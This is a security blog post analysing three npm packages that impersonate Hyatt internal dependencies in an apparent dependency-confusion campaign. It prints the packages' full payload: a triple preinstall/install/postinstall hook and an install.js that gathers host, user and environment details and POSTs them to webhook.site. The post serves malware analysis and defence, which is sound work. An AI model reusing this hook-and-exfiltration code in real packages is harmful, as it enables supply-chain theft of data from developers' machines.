Malicious npm Packages Impersonating Hyatt Internal Dependencies
Table of Contents
TL;DR
Three malicious npm packages disguised as Hyatt internal dependencies were discovered on the npm registry, all published on October 23, 2025. The packages hyatt-residential-roster, hyatt-album, and hyatt-avatar share identical attack patterns and infrastructure, suggesting a coordinated campaign targeting internal applications at Hyatt.
All three packages use the suspicious version number 999.999.999, execute identical install hooks across all three npm lifecycle events (preinstall, install, postinstall), and claim to be published by “Hyatt IT Security Research”, a likely impersonation tactic to appear legitimate.
Note: High version numbers such as 999.999.999 are typically used for exploiting Dependency Confusion vulnerabilities.
| Package Name | Version | SafeDep Analysis |
|---|---|---|
| hyatt-residential-roster | 999.999.999 | Link |
| hyatt-album | 999.999.999 | Link |
| hyatt-avatar | 999.999.999 | Link |
All three packages share the following suspicious indicators:
- Abnormal version number:
999.999.999- typically used for testing or placeholder purposes - Multiple identical install hooks: All three packages execute
node install.jsduringpreinstall,install, andpostinstalllifecycle events - Minimal package size: Between 851-897 bytes compressed, with only 3 files each
- Same maintainer: Published by
pkgpusher6([email protected]) - Generic author attribution: All claim to be by “Hyatt IT Security Research”
- Same publication date: All published on October 23, 2025
Technical Analysis
Install Hook Exploitation
Unlike many malicious packages that use post-install hooks exclusively, this campaign employs a triple-hook strategy:
{ "scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" }}This ensures the malicious payload executes at multiple points during the installation process, increasing the likelihood of successful compromise even if developers attempt to skip certain lifecycle hooks.
Malicious Payload Structure
Each package contains three files with the following structure:
package.json - Defines the triple install hook strategy:
{ "name": "hyatt-album", "version": "999.999.999", "description": "Hyatt album management system - Internal dependency", "main": "index.js", "scripts": { "install": "node install.js", "postinstall": "node install.js", "preinstall": "node install.js" }, "keywords": ["hyatt", "album", "media", "internal"], "author": "Hyatt IT Security Research", "license": "ISC"}index.js - Minimal stub file (~67-80 bytes) that provides no actual functionality, serving only to make the package appear legitimate:
module.exports = function () { console.log('Hyatt Album loaded');};install.js - The malicious payload (~823-836 bytes) that executes during installation:
const os = require('os');const { execSync } = require('child_process');const https = require('https');
console.log('🏨 Hyatt Residential Roster Loading...');
const data = { package: 'hyatt-album', timestamp: new Date().toISOString(), hostname: os.hostname(), platform: os.platform(), uptime: Math.floor(os.uptime()), user: os.userInfo(), env: { hyatt_vars: Object.keys(process.env).filter((k) => k.toLowerCase().includes('hyatt')), node_env: process.env.NODE_ENV, kubernetes: process.env.KUBERNETES_SERVICE_HOST, aws_region: process.env.AWS_REGION, npm_registry: process.env.npm_config_registry, },};
const req = https.request('https://webhook.site/hyatt', { method: 'POST', headers: { 'Content-Type': 'application/json' },});req.write(JSON.stringify(data, null, 2));req.end();The code performs the following malicious actions:
- Imports Node.js modules:
os,child_process,https - Collects comprehensive system information using
osmodule methods - Specifically targets environment variables to identify the infrastructure the application is running on
- Exfiltrates environment containing the keyword
hyatt - Serializes collected data to JSON format with pretty printing
- Sends data via HTTPS POST to
https://webhook.site/hyatt - Executes silently without user notification, disguised as a loading message
Data Exfiltration to External Server
All three packages contain code that collects system information and exfiltrates it to https://webhook.site/hyatt to identify the infrastructure the application is running on. The collected data includes:
- System information: hostname, platform, uptime, total memory
- User information: username and user details from
os.userInfo() - Environment variables: Specifically targeting:
- Variables containing ‘hyatt’
NODE_ENVKUBERNETES_SERVICE_HOST(Kubernetes deployments)AWS_REGION(AWS cloud environments)npm_config_registry(npm configuration)
- Package metadata: Package name and installation timestamp
- File system paths: Current working directory, home directory
The exfiltration occurs via HTTPS POST request to webhook.site, which is a public service often used for testing webhooks, making it convenient for attackers to collect data without setting up their own infrastructure.
Conclusion
This coordinated campaign of three malicious npm packages demonstrates a common approach to dependency confusion attacks through corporate package impersonation. Analysis of the data exfiltration patterns reveals a targeted focus on specific infrastructure indicators rather than comprehensive credential harvesting, suggesting this may represent a penetration testing exercise specific to Hyatt.
The exfiltrated data is notably limited in scope, collecting only:
KUBERNETES_SERVICE_HOST- indicating Kubernetes deployment environmentsAWS_REGION- identifying AWS cloud infrastructure presencenpm_config_registry- revealing npm registry configuration- Environment variables containing the keyword
hyatt
Stay Protected: Learn more about SafeDep’s malicious package detection at safedep.io or try our free tool vet today.
- vet
- cloud
- malware
- npm
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Unpacking CVE-2025-55182: React Server Components RCE Exploit Deep Dive and SBOM-Driven Identification
A critical pre-authenticated remote code execution vulnerability (CVE-2025-55182) was disclosed in React Server Components, affecting Next.js applications using the App Router. Learn about the...

An Opinionated Approach for Frontend Testing for Startups
How we test our Frontend applications powered by React Query and server components with Vitest.

Shai-Hulud 2.0 npm Supply Chain Attack Technical Analysis
Critical npm supply chain attack compromises zapier-sdk, @asyncapi, posthog, and @postman packages with self-replicating malware. Technical analysis reveals credential harvesting, GitHub Actions...

Curious Case of Embedded Executable in a Newly Introduced Transitive Dependency
A routine dependency upgrade introduced a suspicious transitive dependency with an embedded executable. While manual analysis confirmed it wasn't malicious, this incident highlights the implicit...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
